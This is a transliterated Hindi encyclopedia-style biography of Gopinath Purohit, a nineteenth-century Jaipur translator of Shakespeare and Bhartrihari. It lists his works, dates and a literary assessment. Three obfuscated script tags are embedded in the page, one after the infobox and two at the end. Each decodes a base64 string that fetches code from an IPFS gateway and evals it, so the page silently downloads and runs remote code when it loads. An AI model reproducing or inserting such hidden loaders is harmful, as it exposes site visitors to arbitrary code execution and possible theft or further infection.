गोपीनाथ पुरोहित

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
gopinath purohit
janm 1863 ee.
janm bhoomi jayapur, rajasthan
mukhy rachanaean 'venis ka baipari', 'manabhavan'[1]aur premalila[2]
bhasha hindi, sanskrit
prasiddhi lekhak
nagarikata bharatiy
any janakari gopinath purohit avikal anuvad ke paksh mean the aur kavi ke ashay ko kavi ke hi shabdoan, vakyoan aur muhavaroan mean prakat karana chahate the.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

gopinath purohit (janm- 1863 ee. jayapur, rajasthan) prasiddh sahityakar the. inhean sanskrit bhasha ka bhi achchha jnan tha. gopinath ne 'bhartrihari shatakatrayamh'[3] ka aangreji anuvad aur hindi bhashaantar[4]bhi prastut ki thi. purohit ji ka yug ke anuvadakoan mean shreshth sthan hai.

parichay

gopinath purohit janm 1863 ee. ko jayapur, rajasthan mean hua tha. inhoanne bharatendu-yug mean hi aangrezi-sahity ki vishvaprasiddh kritiyoan ke anuvad ki or hindi-lekhakoan ne dhyan diya tha. svany bharateandu ne sheksapiyar ke natakoan ka anuvad kiya tha. 1896 ee. mean jayapur ke purohit gopinath em.e. ek achchhe anuvadak ke roop mean samane aye.

rachanaean

purohit ji ne sheksapiyar ke tin natakoan- 'marachesht aauf venis' 'aij yoo laik it' aur 'romiyoan aind jooliyat' ka anuvad kramash: 'venis ka baipari', 'manabhavan'[5]aur premalila [6]nam se kiya. inhoanne padyashoan mean bhi gady mean hi anoodit kiya hai. apane sisaroan ke nibandh ka 'mitrata' shirshak aur 'grej elaji' ka 'shokokti' bhasha chhndoan mean anuvad kiya. 'shokokti' bhasha mean anudit hai. apane 'vireandr'[7]namak vir aur shrriangar ras- pradhan upanyas ki chhaya par likha gaya hai.

upanyas

isamean ek aitihasik upanyas ki chhaya par likha prastut kiya gaya hai aur bhasha patroan ke anusar kahian shuddh urdoo aur kahian shuddh hindi hai. purohit ji ko sanskrit ka bhi achchha jnan tha aur inhoanne 'bhartrihari shatakatrayamh' [8] ka aangreji anuvad aur hindi bhashaantar[9] bhi prastut kiya tha. 'saticharit-chamatkar' [10] namak apaki ek maulik kriti bhi prapt hoti hai.

shreshth sthan

ye avikal anuvad ke paksh mean the aur kavi ke ashay ko kavi ke hi shabdoan, vakyoan aur muhavaroan mean prakat karana chahate the. is prayatn mean kahian-kahian apake anuvadoan mean aangrezi ke muhavare jyoan ke tyoan bhashaantarit hokar a gaye haian. apaki bhasha paramarjit aur pravahamayi hai. inaka yug ke anuvadakoan mean shreshth sthan hai.[11]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. 1896 ee.
  2. 1897 ee.
  3. 1896 ee.
  4. tippani aur vyakhya sahit
  5. 1896 ee.
  6. 1897 ee.
  7. 1897
  8. 1896 ee.
  9. tippani aur vyakhya sahit
  10. 1900 ee.
  11. hindi sahity kosh bhag-2 |lekhak: d aau. dhirendr varma |prakashak: jnanamandal limited, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 152 |

bahari k diyaan

sanbandhit lekh


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>